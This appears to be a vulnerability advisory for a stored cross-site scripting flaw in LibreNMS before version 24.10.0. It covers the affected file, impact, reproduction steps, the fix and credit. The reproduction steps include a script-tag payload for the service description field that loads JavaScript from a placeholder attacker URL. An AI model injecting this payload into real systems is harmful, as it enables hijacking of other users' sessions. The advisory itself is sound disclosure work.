Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Services” tab of the Device page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the descr parameter when adding a service to a device.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0, specifically in librenms/includes/html/pages/device/services.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create or edit a device and go to the Services section.
-
In the Description (
descr) field, enter the following payload:Descr'"><script/src=//<attacker-url>></script> -
Save the service.
-
Navigate to the Services tab for that device.
-
Observe that the script hosted at
<attacker-url>is loaded and executed in your browser.
Expected result:
The script referenced in the payload (//<attacker-url>) executes in the Services tab, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by sanitizing and HTML-encoding the descr parameter in device/services.inc.php, preventing unsanitized input from being rendered.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
